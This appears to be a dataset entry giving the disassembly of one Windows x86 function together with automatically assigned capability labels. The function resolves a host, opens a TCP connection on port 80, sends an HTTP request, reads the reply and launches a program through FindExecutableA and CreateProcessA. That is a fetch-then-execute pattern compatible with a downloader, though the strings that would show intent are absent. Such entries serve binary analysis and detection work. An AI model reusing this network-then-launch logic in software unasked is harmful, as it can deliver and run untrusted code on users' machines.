Function at 0x476f30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x310], edx
mov dword [ebp - 0x314], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004040cc
xor eax, eax
push ebp
push 0x4774a9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 1
mov eax, dword [0x5bbfd0]
mov eax, dword [eax]
mov edx, dword [0x5bc024]
mov edx, dword [edx]
call fcn.00404028
je 0x476fa8
push 0x4774c4
mov eax, dword [0x5bbe38]
push dword [eax]
push dword [0x5b64b0]
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403fd8
lea ecx, [ebp - 0x314]
mov dl, 2
mov eax, dword [ebp - 4]
call fcn.0046ce90
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x310]
call fcn.0046a328
mov edx, dword [ebp - 0x310]
lea eax, [ebp - 4]
call fcn.00403d34
lea eax, [ebp - 0x1a8]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x477476
xor edx, edx
push ebp
push 0x47746f
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x4774cc
call sub.wsock32.dll_gethostbyname
mov edi, eax
push 0x28
call sub.kernel32.dll_Sleep
test edi, edi
jne 0x47702f
call fcn.004037b0
jmp 0x477476
movsx esi, word [edi + 0xa]
dec esi
test esi, esi
jl 0x47706e
inc esi
xor ebx, ebx
push dword [ebp - 0xc]
mov eax, dword [edi + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + ebx]
lea edx, [ebp - 0x310]
call fcn.00408fb8
push dword [ebp - 0x310]
push 0x4774ec
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403fd8
inc ebx
dec esi
jne 0x47703b
mov eax, dword [ebp - 0xc]
call fcn.00403f18
mov edx, eax
dec edx
lea eax, [ebp - 0xc]
call fcn.00404248
mov word [ebp - 0x1b8], 2
push 0x50
call sub.wsock32.dll_htons
mov word [ebp - 0x1b6], ax
mov eax, dword [ebp - 0xc]
call fcn.004040dc
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1b4], eax
push 0x10
lea eax, [ebp - 0x1b8]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wsock32.dll_connect
mov ebx, eax
inc ebx
jne 0x4770cd
call fcn.004037b0
jmp 0x477476
push 0x4774f8
push dword [0x5b64b0]
push 0x47751c
push dword [0x5b64b0]
push 0x477530
push dword [0x5b64b0]
push 0x477560
push dword [ebp - 0xc]
push dword [0x5b64b0]
push 0x477570
push dword [0x5b64b0]
push 0x477590
push dword [0x5b64b0]
push 0x4775b0
mov eax, dword [ebp - 4]
call fcn.00403f18
lea edx, [ebp - 0x310]
call fcn.00408fb8
push dword [ebp - 0x310]
push dword [0x5b64b0]
push 0x4775cc
push dword [0x5b64b0]
push dword [0x5b64b0]
lea eax, [ebp - 0x10]
mov edx, 0x13
call fcn.00403fd8
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
call fcn.00403f64
jmp 0x4771b4
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x1000
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040411c
push 0
mov eax, dword [ebp - 0x10]
call fcn.00403f18
push eax
lea eax, [ebp - 0x10]
call fcn.004040e8
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wsock32.dll_send
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4771ad
lea eax, [ebp - 4]
mov ecx, ebx
mov edx, 1
call fcn.0040415c
push 0x1e
call sub.kernel32.dll_Sleep
mov eax, dword [ebp - 4]
mov edx, dword [0x5bc024]
mov edx, dword [edx]
call fcn.00404028
jne 0x477164
lea eax, [ebp - 0x14]
mov edx, dword [0x5bc024]
mov edx, dword [edx]
call fcn.00403d34
lea eax, [ebp - 0x10]
mov edx, 0x1000
call fcn.00404248
push 0
push 0x1000
lea eax, [ebp - 0x10]
call fcn.004040e8
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
test ebx, ebx
jle 0x477217
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00404248
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00403f20
cmp ebx, 0xffffffff
je 0x477220
test ebx, ebx
jne 0x4771d6
lea eax, [ebp - 0x310]
push eax
mov ecx, 3
mov edx, 0xa
mov eax, dword [ebp - 0x14]
call fcn.0040411c
mov eax, dword [ebp - 0x310]
mov edx, 0x4775e8
call fcn.00404028
jne 0x47724f
mov byte [ebp - 5], 0
mov edx, dword [ebp - 0x14]
mov eax, 0x4775f4
call fcn.00404200
mov ebx, eax
test ebx, ebx
jne 0x477271
mov edx, dword [ebp - 0x14]
mov eax, 0x477604
call fcn.00404200
mov ebx, eax
test ebx, ebx
jle 0x477458
mov byte [ebp - 5], 2
mov ecx, ebx
dec ecx
lea eax, [ebp - 0x14]
mov edx, 1
call fcn.0040415c
lea edx, [ebp - 0x310]
mov eax, dword [ebp - 0x14]
call fcn.0046b410
mov edx, dword [ebp - 0x310]
lea eax, [ebp - 0x14]
call fcn.00403d34
lea eax, [ebp - 0x310]
call fcn.00466ec8
lea eax, [ebp - 0x310]
mov edx, 0x477618
call fcn.00403f20
mov eax, dword [ebp - 0x310]
call fcn.0046b2f0
lea eax, [ebp - 0x30c]
push eax
push 0
lea eax, [ebp - 0x310]
call fcn.00466ec8
lea eax, [ebp - 0x310]
mov edx, 0x477618
call fcn.00403f20
mov eax, dword [ebp - 0x310]
call fcn.004040dc
push eax
call sub.shell32.dll_FindExecutableA
mov ebx, eax
lea eax, [ebp - 0x310]
call fcn.00466ec8
lea eax, [ebp - 0x310]
mov edx, 0x477618
call fcn.00403f20
mov eax, dword [ebp - 0x310]
call fcn.00409458
cmp ebx, 0x20
jle 0x477458
lea edx, [ebp - 0x314]
lea eax, [ebp - 0x30c]
call fcn.00409b54
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x310]
call fcn.00409670
mov eax, dword [ebp - 0x310]
lea edx, [ebp - 0x10]
call fcn.00408a4c
mov eax, dword [ebp - 0x10]
mov edx, 0x477628
call fcn.00404028
jne 0x477386
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov edx, 0x477640
call fcn.00403f64
jmp 0x4773d5
mov eax, dword [ebp - 0x10]
mov edx, 0x477654
call fcn.00404028
jne 0x4773a7
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov edx, 0x47766c
call fcn.00403f64
jmp 0x4773d5
mov eax, dword [ebp - 0x10]
mov edx, 0x477678
call fcn.00404028
je 0x4773c5
mov eax, dword [ebp - 0x10]
mov edx, 0x47768c
call fcn.00404028
jne 0x4773d5
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov edx, 0x4776a0
call fcn.00403f64
lea eax, [ebp - 0x1fc]
mov edx, 0x44
call fcn.0040795c
mov dword [ebp - 0x1fc], 0x44
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x1fc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.004040dc
push eax
lea edx, [ebp - 0x310]
lea eax, [ebp - 0x30c]
call fcn.00409b54
mov eax, dword [ebp - 0x310]
call fcn.004040dc
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x477458
mov eax, dword [ebp - 0x208]
test eax, eax
je 0x477448
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x20c]
test eax, eax
je 0x477458
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477476
mov eax, dword [ebp - 0x18]
push eax
call sub.wsock32.dll_closesocket
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4774b0
lea eax, [ebp - 0x314]
mov edx, 2
call fcn.00403cc0
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403cc0
lea eax, [ebp - 4]
call fcn.00403c9c
ret